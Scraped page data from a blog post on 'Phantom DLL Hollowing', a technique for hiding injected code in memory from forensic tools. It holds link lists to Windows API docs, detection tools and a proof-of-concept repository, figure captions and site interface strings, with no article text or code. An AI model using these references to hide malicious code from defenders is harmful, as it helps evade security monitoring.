34537ce4b5b1818c3e6405c1d2\u002Fraw\u002F104f630cc1dda91d4cb81cf32ef0d67ccd3e0735\u002FGet-InjectedThread.ps1","target":"_top","rel":"noopener"}},"3":{"type":"LINK","mutability":"MUTABLE","data":{"href":"https:\u002F\u002Fhref.li\u002F?https:\u002F\u002Fgithub.com\u002Fvolatilityfoundation\u002Fvolatility\u002Fblob\u002Fmaster\u002Fvolatility\u002Fplugins\u002Fmalware\u002Fmalfind.py","url":"https:\u002F\u002Fhref.li\u002F?https:\u002F\u002Fgithub.com\u002Fvolatilityfoundation\u002Fvolatility\u002Fblob\u002Fmaster\u002Fvolatility\u002Fplugins\u002Fmalware\u002Fmalfind.py","target":"_top","rel":"noopener"}},"4":{"type":"LINK","mutability":"MUTABLE","data":{"href":"https:\u002F\u002Fhref.li\u002F?https:\u002F\u002Fdocs.microsoft.com\u002Fen-us\u002Fwindows-hardware\u002Fdrivers\u002Fddi\u002Fcontent\u002Fntifs\u002Fnf-ntifs-ntallocatevirtualmemory","url":"https:\u002F\u002Fhref.li\u002F?https:\u002F\u002Fdocs.microsoft.com\u002Fen-us\u002Fwindows-hardware\u002Fdrivers\u002Fddi\u002Fcontent\u002Fntifs\u002Fnf-ntifs-ntallocatevirtualmemory","target":"_top","rel":"noopener"}},"5":{"type":"LINK","mutability":"MUTABLE","data":{"href":"https:\u002F\u002Fhref.li\u002F?https:\u002F\u002Fdocs.microsoft.com\u002Fen-us\u002Fwindows\u002Fwin32\u002Fapi\u002Fwinnt\u002Fns-winnt-memory_basic_information","url":"https:\u002F\u002Fhref.li\u002F?https:\u002F\u002Fdocs.microsoft.com\u002Fen-us\u002Fwindows\u002Fwin32\u002Fapi\u002Fwinnt\u002Fns-winnt-memory_basic_information","target":"_top","rel":"noopener"}},"6":{"type":"LINK","mutability":"MUTABLE","data":{"url":"https:\u002F\u002Fgithub.com\u002Fforrest-orr\u002Fphantom-dll-hollower-poc\u002Ftree\u002Fmaster\u002FMemSweep","target":"_blank","rel":"noopener"}},"7":{"type":"LINK","mutability":"MUTABLE","data":{"url":"https:\u002F\u002Fwww.google.com\u002Fsearch?client=firefox-b-1-d&q=MEMORY_BASIC_INFORMATION","target":"_blank","rel":"noopener"}},"8":{"type":"LINK","mutability":"MUTABLE","data":{"url":"https:\u002F\u002Fdocs.microsoft.com\u002Fen-us\u002Fwindows\u002Fwin32\u002Fapi\u002Fmemoryapi\u002Fnf-memoryapi-virtualquery","target":"_blank","rel":"noopener"}},"9":{"type":"wix-draft-plugin-image","mutability":"IMMUTABLE","data":{"config":{"alignment":"center","size":"content","showTitle":true,"showDescription":true,"link":null},"src":{"id":"c1d8f6_87b1fd5292a243388888e0e2d604baf7~mv2.png","original_file_name":"c1d8f6_87b1fd5292a243388888e0e2d604baf7~mv2.png","file_name":"c1d8f6_87b1fd5292a243388888e0e2d604baf7~mv2.png","width":677,"height":343},"metadata":{"caption":"Figure 1 - Memory attribute statistics on a Windows 8 VM"}}},"10":{"type":"wix-draft-plugin-image","mutability":"IMMUTABLE","data":{"config":{"alignment":"center","size":"content","showTitle":true,"showDescription":true,"link":null},"src":{"id":"c1d8f6_c98d89c231ab4e018f37947922693f82~mv2.png","original_file_name":"c1d8f6_c98d89c231ab4e018f37947922693f82~mv2.png","file_name":"c1d8f6_c98d89c231ab4e018f37947922693f82~mv2.png","width":739,"height":271},"metadata":{"caption":"Figure 2 - x64dbg enumeration of Windows Explorer image memory"}}},"11":{"type":"LINK","mutability":"MUTABLE","data":{"url":"https:\u002F\u002Fx64dbg.com\u002F#start","target":"_blank","rel":"noopener"}},"12":{"type":"LINK","mutability":"MUTABLE","data":{"url":"https:\u002F\u002Fx64dbg.com\u002F#start","target":"_blank","rel":"noopener"}},"13":{"type":"LINK","mutability":"MUTABLE","data":{"href":"https:\u002F\u002Fhref.li\u002F?https:\u002F\u002Fdocs.microsoft.com\u002Fen-us\u002Fwindows-hardware\u002Fdrivers\u002Fddi\u002Fcontent\u002Fntifs\u002Fnf-ntifs-ntallocatevirtualmemory","url":"https:\u002F\u002Fhref.li\u002F?https:\u002F\u002Fdocs.microsoft.com\u002Fen-us\u002Fwindows-hardware\u002Fdrivers\u002Fddi\u002Fcontent\u002Fntifs\u002Fnf-ntifs-ntallocatevirtualmemory","target":"_top","rel":"noopener"}},"14":{"type":"LINK","mutability":"MUTABLE","data":{"href":"https:\u002F\u002Fhref.li\u002F?https:\u002F\u002Fdocs.microsoft.com\u002Fen-us\u002Fwindows-hardware\u002Fdrivers\u002Fddi\u002Fcontent\u002Fntifs\u002Fnf-ntifs-ntallocatevirtualmemory","url":"https:\u002F\u002Fhref.li\u002F?https:\u002F\u002Fdocs.microsoft.com\u002Fen-us\u002Fwindows-hardware\u002Fdrivers\u002Fddi\u002Fcontent\u002Fntifs\u002Fnf-ntifs-ntallocatevirtualmemory","target":"_top","rel":"noopener"}},"15":{"type":"LINK","mutability":"MUTABLE","data":{"href":"https:\u002F\u002Fhref.li\u002F?https:\u002F\u002Fundocumented.ntinternals.net\u002Findex.html?page=UserMode%2FUndocumented%20Functions%2FMemory%20Management%2FVirtual%20Memory%2FNtProtectVirtualMemory.html","url":"https:\u002F\u002Fhref.li\u002F?https:\u002F\u002Fundocumented.ntinternals.net\u002Findex.html?page=UserMode%2FUndocumented%20Functions%2FMemory%20Management%2FVirtual%20Memory%2FNtProtectVirtualMemory.html","target":"_top","rel":"noopener"}},"16":{"type":"LINK","mutability":"MUTABLE","data":{"href":"https:\u002F\u002Fhref.li\u002F?https:\u002F\u002Fdocs.microsoft.com\u002Fen-us\u002Fwindows\u002Fwin32\u002Fapi\u002Fmemoryapi\u002Fnf-memoryapi-writeprocessmemory","url":"https:\u002F\u002Fhref.li\u002F?https:\u002F\u002Fdocs.microsoft.com\u002Fen-us\u002Fwindows\u002Fwin32\u002Fapi\u002Fmemoryapi\u002Fnf-memoryapi-writeprocessmemory","target":"_top","rel":"noopener"}},"17":{"type":"LINK","mutability":"MUTABLE","data":{"href":"https:\u002F\u002Fhref.li\u002F?https:\u002F\u002Fdocs.microsoft.com\u002Fen-us\u002Fwindows-hardware\u002Fdrivers\u002Fddi\u002Fcontent\u002Fntifs\u002Fnf-ntifs-ntallocatevirtualmemory","url":"https:\u002F\u002Fhref.li\u002F?https:\u002F\u002Fdocs.microsoft.com\u002Fen-us\u002Fwindows-hardware\u002Fdrivers\u002Fddi\u002Fcontent\u002Fntifs\u002Fnf-ntifs-ntallocatevirtualmemory","target":"_top","rel":"noopener"}},"18":{"type":"LINK","mutability":"MUTABLE","data":{"href":"https:\u002F\u002Fhref.li\u002F?https:\u002F\u002Fdocs.microsoft.com\u002Fen-us\u002Fwindows-hardware\u002Fdrivers\u002Fddi\u002Fcontent\u002Fntifs\u002Fnf-ntifs-ntallocatevirtualmemory","url":"https:\u002F\u002Fhref.li\u002F?https:\u002F\u002Fdocs.microsoft.com\u002Fen-us\u002Fwindows-hardware\u002Fdrivers\u002Fddi\u002Fcontent\u002Fntifs\u002Fnf-ntifs-ntallocatevirtualmemory","target":"_top","rel":"noopener"}},"19":{"type":"LINK","mutability":"MUTABLE","data":{"href":"https:\u002F\u002Fhref.li\u002F?https:\u002F\u002Fdocs.microsoft.com\u002Fen-us\u002Fwindows-hardware\u002Fdrivers\u002Fddi\u002Fcontent\u002Fntifs\u002Fnf-ntifs-ntallocatevirtualmemory","url":"https:\u002F\u002Fhref.li\u002F?https:\u002F\u002Fdocs.microsoft.com\u002Fen-us\u002Fwindows-hardware\u002Fdrivers\u002Fddi\u002Fcontent\u002Fntifs\u002Fnf-ntifs-ntallocatevirtualmemory","target":"_top","rel":"noopener"}},"20":{"type":"LINK","mutability":"MUTABLE","data":{"href":"https:\u002F\u002Fhref.li\u002F?https:\u002F\u002Fundocumented.ntinternals.net\u002Findex.html?page=UserMode%2FUndocumented%20Functions%2FMemory%20Management%2FVirtual%20Memory%2FNtProtectVirtualMemory.html","url":"https:\u002F\u002Fhref.li\u002F?https:\u002F\u002Fundocumented.ntinternals.net\u002Findex.html?page=UserMode%2FUndocumented%20Functions%2FMemory%20Management%2FVirtual%20Memory%2FNtProtectVirtualMemory.html","target":"_top","rel":"noopener"}},"21":{"type":"LINK","mutability":"MUTABLE","data":{"href":"https:\u002F\u002Fdocs.microsoft.com\u002Fen-us\u002Fwindows\u002Fwin32\u002Fapi\u002Flibloaderapi\u002Fnf-libloaderapi-getmodulefilenamew","url":"https:\u002F\u002Fdocs.microsoft.com\u002Fen-us\u002Fwindows\u002Fwin32\u002Fapi\u002Flibloaderapi\u002Fnf-libloaderapi-getmodulefilenamew","target":"_top","rel":"noopener"}},"22":{"type":"LINK","mutability":"MUTABLE","data":{"href":"https:\u002F\u002Fdocs.microsoft.com\u002Fen-us\u002Fwindows\u002Fwin32\u002Ffileio\u002Ftransactional-ntfs-portal","url":"https:\u002F\u002Fdocs.microsoft.com\u002Fen-us\u002Fwindows\u002Fwin32\u002Ffileio\u002Ftransactional-ntfs-portal","target":"_top","rel":"noopener"}},"23":{"type":"LINK","mutability":"MUTABLE","data":{"href":"https:\u002F\u002Fdocs.microsoft.com\u002Fen-us\u002Fwindows\u002Fwin32\u002Fapi\u002Ffileapi\u002Fnf-fileapi-createfilew","url":"https:\u002F\u002Fdocs.microsoft.com\u002Fen-us\u002Fwindows\u002Fwin32\u002Fapi\u002Ffileapi\u002Fnf-fileapi-createfilew","target":"_top","rel":"noopener"}},"24":{"type":"LINK","mutability":"MUTABLE","data":{"href":"http:\u002F\u002Fundocumented.ntinternals.net\u002Findex.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FSection%2FNtCreateSection.html","url":"http:\u002F\u002Fundocumented.ntinternals.net\u002Findex.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FSection%2FNtCreateSection.html","target":"_top","rel":"noopener"}},"25":{"type":"LINK","mutability":"MUTABLE","data":{"href":"http:\u002F\u002Fundocumented.ntinternals.net\u002Findex.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FSection%2FNtCreateSection.html","url":"http:\u002F\u002Fundocumented.ntinternals.net\u002Findex.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FSection%2FNtCreateSection.html","target":"_top","rel":"noopener"}},"26":{"type":"LINK","mutability":"MUTABLE","data":{"href":"http:\u002F\u002Fundocumented.ntinternals.net\u002Findex.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FSection%2FNtCreateSection.html","url":"http:\u002F\u002Fundocumented.ntinternals.net\u002Findex.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FSection%2FNtCreateSection.html","target":"_top","rel":"noopener"}},"27":{"type":"LINK","mutability":"MUTABLE","data":{"href":"https:\u002F\u002Fundocumented.ntinternals.net\u002Findex.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FLdrLoadDll.html","url":"https:\u002F\u002Fundocumented.ntinternals.net\u002Findex.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FLdrLoadDll.html","target":"_top","rel":"noopener"}},"28":{"type":"wix-draft-plugin-image","mutability":"IMMUTABLE","data":{"config":{"alignment":"center","size":"content","showTitle":true,"showDescription":true,"link":null},"src":{"id":"c1d8f6_32ceb500ff4f470e800010ea60be8944~mv2.png","original_file_name":"c1d8f6_32ceb500ff4f470e800010ea60be8944~mv2.png","file_name":"c1d8f6_32ceb500ff4f470e800010ea60be8944~mv2.png","width":695,"height":277},"metadata":{"caption":"Figure 3 – 64-bit DLL hollower PoC embedding a message box shellcode into aadauthhelper.dll"}}},"29":{"type":"LINK","mutability":"MUTABLE","data":{"url":"https:\u002F\u002Fx64dbg.com\u002F#start","target":"_blank","rel":"noopener"}},"30":{"type":"wix-draft-plugin-image","mutability":"IMMUTABLE","data":{"config":{"alignment":"center","size":"content","showTitle":true,"showDescription":true,"link":null},"src":{"id":"c1d8f6_1b0784f265d34ac8a162d295727bf7cd~mv2.png","original_file_name":"c1d8f6_1b0784f265d34ac8a162d295727bf7cd~mv2.png","file_name":"c1d8f6_1b0784f265d34ac8a162d295727bf7cd~mv2.png","width":853,"height":381},"metadata":{"caption":"Figure 4 – Artificially mapped aadauthhelper.dll orphaned from its loaded modules list entry"}}},"31":{"type":"LINK","mutability":"MUTABLE","data":{"url":"https:\u002F\u002Fx64dbg.com\u002F#start","target":"_blank","rel":"noopener"}},"32":{"type":"LINK","mutability":"MUTABLE","data":{"url":"https:\u002F\u002Fx64dbg.com\u002F#start","target":"_blank","rel":"noopener"}},"33":{"type":"wix-draft-plugin-image","mutability":"IMMUTABLE","data":{"config":{"alignment":"center","size":"content","showTitle":true,"showDescription":true,"link":null},"src":{"id":"c1d8f6_d96a87e7418d4774acb34291a776fc66~mv2.png","original_file_name":"c1d8f6_d96a87e7418d4774acb34291a776fc66~mv2.png","file_name":"c1d8f6_d96a87e7418d4774acb34291a776fc66~mv2.png","width":848,"height":97},"metadata":{"caption":"Figure 5 – Mapped view of aadauthhelper.dll linked to the loaded modules list"}}},"34":{"type":"LINK","mutability":"MUTABLE","data":{"url":"https:\u002F\u002Fundocumented.ntinternals.net\u002Findex.html?page=UserMode%2FUndocumented%20Functions%2FMemory%20Management%2FVirtual%20Memory%2FNtProtectVirtualMemory.html","target":"_blank","rel":"noopener"}},"35":{"type":"LINK","mutability":"MUTABLE","data":{"url":"https:\u002F\u002Fundocumented.ntinternals.net\u002Findex.html?page=UserMode%2FUndocumented%20Functions%2FMemory%20Management%2FVirtual%20Memory%2FNtProtectVirtualMemory.html","target":"_blank","rel":"noopener"}},"36":{"type":"wix-draft-plugin-image","mutability":"IMMUTABLE","data":{"config":{"alignment":"center","size":"content","showTitle":true,"showDescription":true,"link":null},"src":{"id":"c1d8f6_ff8edef7c79b48c2bbfbd29de97fa5b8~mv2.png","original_file_name":"c1d8f6_ff8edef7c79b48c2bbfbd29de97fa5b8~mv2.png","file_name":"c1d8f6_ff8edef7c79b48c2bbfbd29de97fa5b8~mv2.png","width":1196,"height":248},"metadata":{"caption":"Figure 6 - VMMap of unmodified aadauthhelper.dll"},"linkPanelValues":{"url":"","targetBlank":false,"nofollow":false}}},"37":{"type":"wix-draft-plugin-image","mutability":"IMMUTABLE","data":{"config":{"alignment":"center","size":"content","showTitle":true,"showDescription":true,"link":null},"src":{"id":"c1d8f6_672e60de1c304fde8580ec4424af0236~mv2.png","original_file_name":"c1d8f6_672e60de1c304fde8580ec4424af0236~mv2.png","file_name":"c1d8f6_672e60de1c304fde8580ec4424af0236~mv2.png","width":1207,"height":248},"metadata":{"caption":"Figure 7 - VMMap of hollowed aadauthhelper.dll"}}},"38":{"type":"wix-draft-plugin-image","mutability":"IMMUTABLE","data":{"config":{"alignment":"left","size":"small","showTitle":true,"showDescription":true,"link":null},"src":{"id":"c1d8f6_ad6293f5613544bbb967b886a60531d4~mv2.png","original_file_name":"c1d8f6_ad6293f5613544bbb967b886a60531d4~mv2.png","file_name":"c1d8f6_ad6293f5613544bbb967b886a60531d4~mv2.png","width":678,"height":250},"metadata":{"caption":"Figure 8 – TxF APIs"}}},"39":{"type":"LINK","mutability":"MUTABLE","data":{"url":"https:\u002F\u002Fdocs.microsoft.com\u002Fen-us\u002Fwindows\u002Fwin32\u002Ffileio\u002Fabout-transactional-ntfs","target":"_blank","rel":"noopener"}},"40":{"type":"LINK","mutability":"MUTABLE","data":{"href":"https:\u002F\u002Fdocs.microsoft.com\u002Fen-us\u002Fwindows-hardware\u002Fdrivers\u002Fddi\u002Fcontent\u002Fntifs\u002Fnf-ntifs-ntwritefile","url":"https:\u002F\u002Fdocs.microsoft.com\u002Fen-us\u002Fwindows-hardware\u002Fdrivers\u002Fddi\u002Fcontent\u002Fntifs\u002Fnf-ntifs-ntwritefile","target":"_top","rel":"noopener"}},"41":{"type":"LINK","mutability":"MUTABLE","data":{"href":"http:\u002F\u002Fundocumented.ntinternals.net\u002Findex.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FSection%2FNtCreateSection.html","url":"http:\u002F\u002Fundocumented.ntinternals.net\u002Findex.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FSection%2FNtCreateSection.html","target":"_top","rel":"noopener"}},"42":{"type":"LINK","mutability":"MUTABLE","data":{"href":"http:\u002F\u002Fundocumented.ntinternals.net\u002Findex.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FSection%2FNtMapViewOfSection.html","url":"http:\u002F\u002Fundocumented.ntinternals.net\u002Findex.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FSection%2FNtMapViewOfSection.html","target":"_top","rel":"noopener"}},"43":{"type":"LINK","mutability":"MUTABLE","data":{"href":"https:\u002F\u002Fdocs.microsoft.com\u002Fen-us\u002Fwindows-hardware\u002Fdrivers\u002Fddi\u002Fcontent\u002Fntifs\u002Fnf-ntifs-ntwritefile","url":"https:\u002F\u002Fdocs.microsoft.com\u002Fen-us\u002Fwindows-hardware\u002Fdrivers\u002Fddi\u002Fcontent\u002Fntifs\u002Fnf-ntifs-ntwritefile","target":"_top","rel":"noopener"}},"44":{"type":"LINK","mutability":"MUTABLE","data":{"href":"http:\u002F\u002Fundocumented.ntinternals.net\u002Findex.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FSection%2FNtMapViewOfSection.html","url":"http:\u002F\u002Fundocumented.ntinternals.net\u002Findex.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FSection%2FNtMapViewOfSection.html","target":"_top","rel":"noopener"}},"45":{"type":"LINK","mutability":"MUTABLE","data":{"href":"http:\u002F\u002Fundocumented.ntinternals.net\u002Findex.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FSection%2FNtCreateSection.html","url":"http:\u002F\u002Fundocumented.ntinternals.net\u002Findex.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FSection%2FNtCreateSection.html","target":"_top","rel":"noopener"}},"46":{"type":"LINK","mutability":"MUTABLE","data":{"href":"http:\u002F\u002Fundocumented.ntinternals.net\u002Findex.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FSection%2FNtCreateSection.html","url":"http:\u002F\u002Fundocumented.ntinternals.net\u002Findex.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FSection%2FNtCreateSection.html","target":"_top","rel":"noopener"}},"47":{"type":"LINK","mutability":"MUTABLE","data":{"href":"https:\u002F\u002Fgist.github.com\u002Fjaredcatkinson\u002F23905d34537ce4b5b1818c3e6405c1d2","url":"https:\u002F\u002Fgist.github.com\u002Fjaredcatkinson\u002F23905d34537ce4b5b1818c3e6405c1d2","target":"_top","rel":"noopener"}},"48":{"type":"LINK","mutability":"MUTABLE","data":{"href":"https:\u002F\u002Fgithub.com\u002Fvolatilityfoundation\u002Fvolatility\u002Fwiki\u002FCommand-Reference-Mal#malfind","url":"https:\u002F\u002Fgithub.com\u002Fvolatilityfoundation\u002Fvolatility\u002Fwiki\u002FCommand-Reference-Mal#malfind","target":"_top","rel":"noopener"}},"49":{"type":"LINK","mutability":"MUTABLE","data":{"href":"https:\u002F\u002Fgithub.com\u002Fmonnappa22\u002FHollowFind","url":"https:\u002F\u002Fgithub.com\u002Fmonnappa22\u002FHollowFind","target":"_top","rel":"noopener"}}},"VERSION":"4.0.18"},"title":"Masking Malicious Memory Artifacts – Part I: Phantom DLL Hollowing","slug":"malicious-memory-artifacts-part-i-dll-hollowing","isLiked":false,"owner":{"_id":"5d93ba86d7041a0017564e20","name":"forrestorr","image":{"original_file_name":"c1d8f6_f9b6cb79835149268cb5b9d08689bd49~mv2.jpg","file_name":"c1d8f6_f9b6cb79835149268cb5b9d08689bd49~mv2.jpg","width":1008,"height":1024},"cover":null,"siteMemberId":"c1d8f646-2e7f-4989-bd55-0f3142c74189","isOwner":true,"isBlocked":false,"appStore":{"14bcded7-0066-7c35-14d7-466cb3f09103":{"permissions":{"role":"owner"}}},"slug":"forrestorr"},"isSubscribed":false,"categories":[],"readTime":14}},"routing":{"locationBeforeTransitions":{"pathname":"\u002Fmalicious-memory-artifacts-part-i-dll-hollowing","search":"","hash":"","action":"POP","key":null,"query":{}}},"recentPostsIds":{},"search":{"posts":[],"members":[]},"searchInput":{"inputWidth":0},"searchParams":{"cacheKiller":"1576010640252","compId":"TPAMultiSection_jucab3tn","currency":"USD","deviceType":"desktop","height":"12559","instance":"fhxESrDk656GD63FNkqn6bDB9iFnMgDdORpmRGwJ1tc.eyJpbnN0YW5jZUlkIjoiNzhlNzI3ODAtZWMxYS00ZTQzLTk3YzEtMjE3Yzc5ZDU1ZTJmIiwiYXBwRGVmSWQiOiIxNGJjZGVkNy0wMDY2LTdjMzUtMTRkNy00NjZjYjNmMDkxMDMiLCJtZXRhU2l0ZUlkIjoiYWM2ZjcyMzUtZDFiYS00ZTYzLTkxYzUtZGU0ZWY4MjA1ZTgwIiwic2lnbkRhdGUiOiIyMDE5LTEyLTEwVDIwOjQzOjU3Ljk3NFoiLCJkZW1vTW9kZSI6ZmFsc2UsIm9yaWdpbkluc3RhbmNlSWQiOiI2OGZhZTk2OC01N2VhLTQyYjctOTE2Zi02MTM2MDRmM2FhNmEiLCJhaWQiOiJjZWVmYzEwOS04ZmJjLTQzYzEtODBlMS1mZjNhNDRlMDMyNzAiLCJiaVRva2VuIjoiZDQ4ODU1YjUtM2RhMC0wMDIwLTA2MDQtZmYzMjgxZjUwMGFmIiwic2l0ZU93bmVySWQiOiJjMWQ4ZjY0Ni0yZTdmLTQ5ODktYmQ1NS0wZjMxNDJjNzQxODkifQ","locale":"en","pageId":"ux663","section-url":"https:\u002F\u002Fwww.forrest-orr.net\u002Fpost\u002F","siteRevision":"48","target":"_top","tz":"America\u002FNew_York","viewMode":"site","vsi":"bbab05bb-d772-4ab3-9e80-8b29905097c0","width":""},"siteInfo":{},"sitePages":[],"rceSettings":{"colorSettings":{"customColors":[]}},"categories":[],"typing":[],"users":{},"userAgent":{"isYaBrowser":false,"isAuthoritative":true,"isMobile":false,"isTablet":false,"isiPad":false,"isiPod":false,"isiPhone":false,"isAndroid":false,"isBlackberry":false,"isOpera":false,"isIE":false,"isEdge":false,"isIECompatibilityMode":false,"isSafari":false,"isFirefox":true,"isWebkit":false,"isChrome":false,"isKonqueror":false,"isOmniWeb":false,"isSeaMonkey":false,"isFlock":false,"isAmaya":false,"isPhantomJS":false,"isEpiphany":false,"isDesktop":true,"isWindows":true,"isLinux":false,"isLinux64":false,"isMac":false,"isChromeOS":false,"isBada":false,"isSamsung":false,"isRaspberry":false,"isBot":false,"isCurl":false,"isAndroidTablet":false,"isWinJs":false,"isKindleFire":false,"isSilk":false,"isCaptive":false,"isSmartTV":false,"isUC":false,"isFacebook":false,"isAlamoFire":false,"isElectron":false,"silkAccelerated":false,"browser":"Firefox","version":"71.0","os":"Windows 10.0","platform":"Microsoft Windows","geoIp":{"geoip_country_code":"US","geoip_country_code3":"USA"},"source":"Mozilla\u002F5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko\u002F20100101 Firefox\u002F71.0"},"userStats":{"isNotificationCountUpdateAllowed":true},"viewMode":"site","writers":[],"form":{"comment":{"_asyncValidating":false,"_initialized":false,"_submitting":false,"_submitFailed":false},"profile":{"_asyncValidating":false,"_initialized":false,"_submitting":false,"_submitFailed":false},"__esModule":{"_asyncValidating":false,"_initialized":false,"_submitting":false,"_submitFailed":false},"stripNewLines":{"_asyncValidating":false,"_initialized":false,"_submitting":false,"_submitFailed":false},"post":{"_asyncValidating":false,"_initialized":false,"_submitting":false,"_submitFailed":false,"title":{"value":"","_isFieldValue":true}},"category":{"_asyncValidating":false,"_initialized":false,"_submitting":false,"_submitFailed":false,"label":{"value":"","_isFieldValue":true},"description":{"value":"","_isFieldValue":true}},"categoryInline":{"_asyncValidating":false,"_initialized":false,"_submitting":false,"_submitFailed":false,"label":{"value":"","_isFieldValue":true}}}};
      window.__CONFIG__ = {"bundleName":"post-page","fedopsAppName":"communities-blog-post-page","imageHost":"static.wixstatic.com","videoHost":"video.wixstatic.com","sectionUrl":"https:\u002F\u002Fwww.forrest-orr.net\u002Fblog","instanceId":"78e72780-ec1a-4e43-97c1-217c79d55e2f","duplexer":{"url":"social-blog.wix.com\u002F_api\u002Fwix-duplexer-sockets-server","key":"8dd942aa-6255-4bb0-b004-8bd6cf2f6b35"},"isInEditor":false,"isInPreview":false,"categoryPath":"categories","useCategoryMenuLabelForMetadataTitle":false,"editorConfig":{"enableLinkify":true,"mediaToken":null},"isDevMode":false,"ampBaseUrl":false,"postPageSectionUrl":"https:\u002F\u002Fwww.forrest-orr.net\u002Fpost","seoData":{"title":"Red Teaming | Forrest Orr","description":"malware reversing cyber security red teaming blog forrest orr"}};
      window.__INITIAL_I18N__ = {"localeData":{"account-suspended.account-suspended":"Account Suspended","account-suspended.contact-owner":"For further information get in touch with the site owner.","add-categories-mobile-header.submit-button-label":"Save","add-category-button.label":"Choose Categories","app.loading":"Loading...","author-info-page.title":"Settings","badge.admin":"Admin","badge.owner":"Admin","badge.editor":"Editor","badge.writer":"Writer","banner.read-more-label":"Read More","block-confirmation.cancel-button":"Cancel","categories-menu.all-categories":"All Categories","category-actions.delete-category":"Delete Category","category-actions.edit-category":"Edit Category","category-actions.subscribe-category":"Follow Category","category-actions.unsubscribe-category":"Unfollow Category","category-create-button.create":"Create","category-form.name-your-category":"Name your new category...","category-form.registered-users-only":"This category is for registered users only","category-form.this-category-is-open":"This category is open to everyone","category-form.use-this-space":"Use this space to give people a little more info about your category...","category-inline-form.placeholder":"e.g. Travel, Food, etc","category-list-item.total-posts_plural":"{{count, number}} posts","category-list-item.total-posts":"{{count, number}} post","category-list-item.total-views_plural":"{{count, number}} views","category-list-item.total-views":"{{count, number}} view","category-list-item.view-category":"View Category","category-page-desktop-header.categories":"Categories","category-page.create-new-post":"Readers would love to hear about this topic!","category-page.no-posts-yet":"Add Posts to This Category","category-select.hint":"Choose categories for this post","category-select.no-categories-hint":"Site owners can add categories from the Wix Editor. Go to Blog Settings \u003E Categories.","category-select.submit-button-label":"Done","category-select.title":"Choose Categories","category-select.tooltip":"10 categories max per post.","change-post-category-modal.move-post-to-another-category":"Move post to another category","character-count.label":"Characters: {{count}}","comment-actions.delete-comment":"Delete Comment","comment-actions.edit-comment":"Edit Comment","comment-actions.report-comment":"Report Comment","comment-actions.share-comment":"Share Comment","comment-bar.send":"Send","comment-count.label_plural":"{{count, number}} comments","comment-count.label":"{{count, number}} comment","comment-edit-page-header.update":"Update","comment-form.cancel":"Cancel","comment-form.edited":"Edited: {{timeAgo}}","comment-form.publish":"Publish","comment-form.send":"Send","comment.edited":"Edited: {{timeAgo}}","comment.reply":"Reply","counter.count":"{{count, number}}","create-post-button.label":"Create a Post","create-post-card.create-post":"Create a Post","date":"{{time, date}}","delete-comment-modal.are-you-sure":"Are you sure you want to delete this comment?","delete-comment-modal.delete-comment":"Delete Comment","delete-confirmation.cancel":"Cancel","delete-confirmation.delete":"Delete","delete-post-modal.delete-post":"Delete Post","delete-post-modal.will-detele-comments":"Are you sure you want to permanently delete this post?","demo-confirmation.cancel-button":"Close","demo-modal.activate-forum":"Activate Blog","demo-modal.confirm":"Got It","demo-modal.demo-mode":"Demo Mode","demo-modal.message-preview":"Activate this blog to make it yours.","demo-modal.message-site":"Edit this site to make this blog your own.","demo-modal.message-template":"To make this blog yours, start editing this template.","demote-writer-modal.about-to-remove":"You’re about to remove this member as a writer for your blog.","demote-writer-modal.cancel":"Cancel","demote-writer-modal.confirm":"Remove","demote-writer-modal.title":"Remove This Member as a Writer","demote-writer-modal.will-no-longer":"\u2028\u2028They’ll no longer be able to add posts or manage their existing posts.","discard-post-draft-modal.cancel-button-label":"Stay","discard-post-draft-modal.confirm-button-label":"Discard","discard-post-draft-modal.content":"Any changes you’ve made since you last published will be lost.","discard-post-draft-modal.title":"Discard Changes","discard-post-modal.are-you-sure":"Changes made to your About Page will not be saved.","discard-post-modal.cancel":"Cancel","discard-post-modal.confirm":"Discard","discard-post-modal.discard-post":"Discard Changes","discard-post-settings-modal.cancel-button-label":"Keep Editing","discard-post-settings-modal.confirm-button-label":"Discard","discard-post-settings-modal.content":"Changes made to your Post Settings will not be saved.","discard-post-settings-modal.title":"Discard Changes?","draft-list-item.last-edited-date":"Last edited {{date}}","edit-category-discard-changes-modal.description":"Any changes made to this category will not be saved.","edit-category-discard-changes-modal.discard":"Discard","edit-category-discard-changes-modal.keep-editing":"Keep Editing","edit-category-discard-changes-modal.title":"Discard Changes?","edit-category-form.cancel":"Cancel","edit-category-form.category-label":"Category Label","edit-category-form.category-label-tooltip":"Labels show up in your posts and blog menu. Keep them short and informative e.g., Lifestyle, Photography, etc.","edit-category-form.category-label-placeholder":"Enter category label...","edit-category-form.category-slug":"Category URL","edit-category-form.category-slug-tooltip":"Category URL","edit-category-form.category-slug-error":"Enter a valid URL.","edit-category-form.category-title":"Category Title","edit-category-form.category-title-tooltip":"This is the title of your category page. It also shows up on search engines and when the category page is shared on social media.","edit-category-form.category-title-placeholder":"Enter category title...","edit-category-form.category-description":"Category Description","edit-category-form.category-description-tooltip":"Category descriptions show up on search engines and when the category page is shared on social media.","edit-category-form.category-description-placeholder":"Describe your category...","edit-category-form.category-cover":"Category Image (Optional)","edit-category-form.category-cover-tooltip":"Choose an image for your category page. It shows up when people share this category on social media.","edit-category-form.field-required":"This info is required.","edit-category-form.image-add":"Add Image","edit-category-form.image-remove":"Delete","edit-category-form.image-replace":"Change Image","edit-category-form.image-uploading":"Please wait \u003Cstrong\u003Eimage\u003C\u002Fstrong\u003E is uploading.","edit-category-form.form-seo-title":"SEO & SOCIAL SHARING","edit-category-form.form-title":"Edit 